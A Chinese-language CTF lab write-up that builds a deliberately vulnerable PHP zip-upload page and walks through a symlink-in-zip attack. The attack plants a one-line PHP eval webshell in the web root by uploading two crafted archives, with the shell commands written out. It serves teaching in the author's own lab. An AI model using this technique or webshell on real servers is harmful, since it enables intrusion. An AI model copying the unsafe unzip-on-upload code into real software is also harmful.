目录
搭建环境
做题开始
通过ln直接创建
通过mkdir 后进行ln
搭建环境
这次是在自己的靶机环境里面搭建
cd /var/www/html
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method="post" action="unzip.php" enctype="multipart/form-data">
<input name="file" type="file">
<input name="submit" type="submit">
</form>
</body>
</html>
unzip.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
php -S 自己的ip:8080 -t /var/www/html
这里我们就可以访问ip+端口
做题开始
我们先随便上传一个文件
发现代码
解读一下
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
如果是zip
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
就进入 tmp 然后解压并且覆盖
};
这就是解读出来的
这里就需要知道软连接
软连接
其实就是windows的快捷方式
我们使用命令
ln -s 路径 文件夹
这样就可以让这个文件夹称为一个快捷方式
这里我们要注意 先不要建立文件夹 直接通过ln 自动创建文件夹
通过ln直接创建
通过mkdir 后进行ln
就是不一样的
然后我们因为要上传zip文件
然后需要保持 符号链接
zip -y test1.zip test
-y 就是保持符号链接的压缩
我们先进行上传看看是否可以
在靶机的/tmp中 出现了test并且确实是软连接
那么我们思考一下
如果我们重新上传一个 test文件夹
但是这个test文件夹 和之前的文件夹并不一样 里面存在一个木马
那我们这个文件就是传到哪里呢
我们可以试试看
rm -r test
mkdir test
cd test
echo '<?php eval($_POST[a]);?>' > a.php
cd ..
zip -q -r test2.zip test
然后进行上传
然后我们去看看靶机
确实已经上传到 /var/www/html 目录中了
然后我们看看能不能链接